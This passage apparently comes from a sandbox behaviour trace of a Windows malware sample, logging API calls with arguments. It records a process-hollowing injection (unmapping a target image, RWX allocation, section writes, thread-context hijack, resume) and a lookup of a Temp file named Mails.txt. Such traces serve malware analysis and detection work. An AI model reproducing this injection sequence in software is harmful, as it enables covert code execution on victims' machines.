lpBaseName="MSVCR80.dll") returned 0xb [0057.819] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0057.820] GetModuleInformation (in: hProcess=0x514, hModule=0x75fd0000, lpmodinfo=0x274ffa4, cb=0xc | out: lpmodinfo=0x274ffa4*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0057.820] GetLastError () returned 0x2 [0057.820] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0057.821] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0057.821] GetModuleInformation (in: hProcess=0x514, hModule=0x755e0000, lpmodinfo=0x27510a0, cb=0xc | out: lpmodinfo=0x27510a0*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0057.822] GetLastError () returned 0x2 [0057.822] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0057.822] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0057.823] GetModuleInformation (in: hProcess=0x514, hModule=0x749e0000, lpmodinfo=0x2752194, cb=0xc | out: lpmodinfo=0x2752194*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0057.823] GetLastError () returned 0x2 [0057.823] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0057.824] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0057.824] GetModuleInformation (in: hProcess=0x514, hModule=0x729c0000, lpmodinfo=0x2753290, cb=0xc | out: lpmodinfo=0x2753290*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0057.825] GetLastError () returned 0x2 [0057.825] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0057.825] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0057.826] GetModuleInformation (in: hProcess=0x514, hModule=0x745d0000, lpmodinfo=0x2754428, cb=0xc | out: lpmodinfo=0x2754428*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0057.826] GetLastError () returned 0x2 [0057.826] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0057.827] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0057.882] GetThreadContext (in: hThread=0x514, lpContext=0x283b010 | out: lpContext=0x283b010*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4748da, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0057.883] ReadProcessMemory (in: hProcess=0x510, lpBaseAddress=0x7efde008, lpBuffer=0x26ea9c, nSize=0x4, lpNumberOfBytesRead=0x26ea94 | out: lpBuffer=0x26ea9c*, lpNumberOfBytesRead=0x26ea94*=0x4) returned 1 [0057.883] NtUnmapViewOfSection (ProcessHandle=0x510, BaseAddress=0x400000) returned 0x0 [0057.883] VirtualAllocEx (hProcess=0x510, lpAddress=0x400000, dwSize=0x1b000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0057.883] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x400000, lpBuffer=0x3625660*, nSize=0x400, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x3625660*, lpNumberOfBytesWritten=0x26ea94*=0x400) returned 1 [0057.884] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x401000, lpBuffer=0x283b31c*, nSize=0x10c00, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x283b31c*, lpNumberOfBytesWritten=0x26ea94*=0x10c00) returned 1 [0057.886] VirtualProtectEx (in: hProcess=0x510, lpAddress=0x401000, dwSize=0x10ac4, flNewProtect=0x20, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0057.887] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x412000, lpBuffer=0x284bf5c*, nSize=0x3a00, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x284bf5c*, lpNumberOfBytesWritten=0x26ea94*=0x3a00) returned 1 [0057.888] VirtualProtectEx (in: hProcess=0x510, lpAddress=0x412000, dwSize=0x3820, flNewProtect=0x2, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0057.888] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x416000, lpBuffer=0x284f99c*, nSize=0xc00, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x284f99c*, lpNumberOfBytesWritten=0x26ea94*=0xc00) returned 1 [0057.889] VirtualProtectEx (in: hProcess=0x510, lpAddress=0x416000, dwSize=0x1b74, flNewProtect=0x4, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0057.889] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x418000, lpBuffer=0x28505dc*, nSize=0x3000, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x28505dc*, lpNumberOfBytesWritten=0x26ea94*=0x3000) returned 1 [0057.890] VirtualProtectEx (in: hProcess=0x510, lpAddress=0x418000, dwSize=0x2ec4, flNewProtect=0x2, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0057.890] WriteProcessMemory (in: hProcess=0x510, lpBaseAddress=0x7efde008, lpBuffer=0x28535e8*, nSize=0x4, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x28535e8*, lpNumberOfBytesWritten=0x26ea94*=0x4) returned 1 [0057.890] SetThreadContext (hThread=0x514, lpContext=0x283b010*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x411790, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0057.890] ResumeThread (hThread=0x514) returned 0x1 [0058.060] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0058.060] GetLastError () returned 0x2 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0058.061] GetLastError () returned 0x2 [0058.061] SetErrorMode (uMode=0x1) returned 0x0 [0058.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0058.061] GetLastError () returned 0x2 [0058.061] SetErrorMode (uMode=0x0) returned 0x1 [0059.262] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0059.262] GetLastError () returned 0x2 [0059.262] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0059.263] GetLastError () returned 0x2 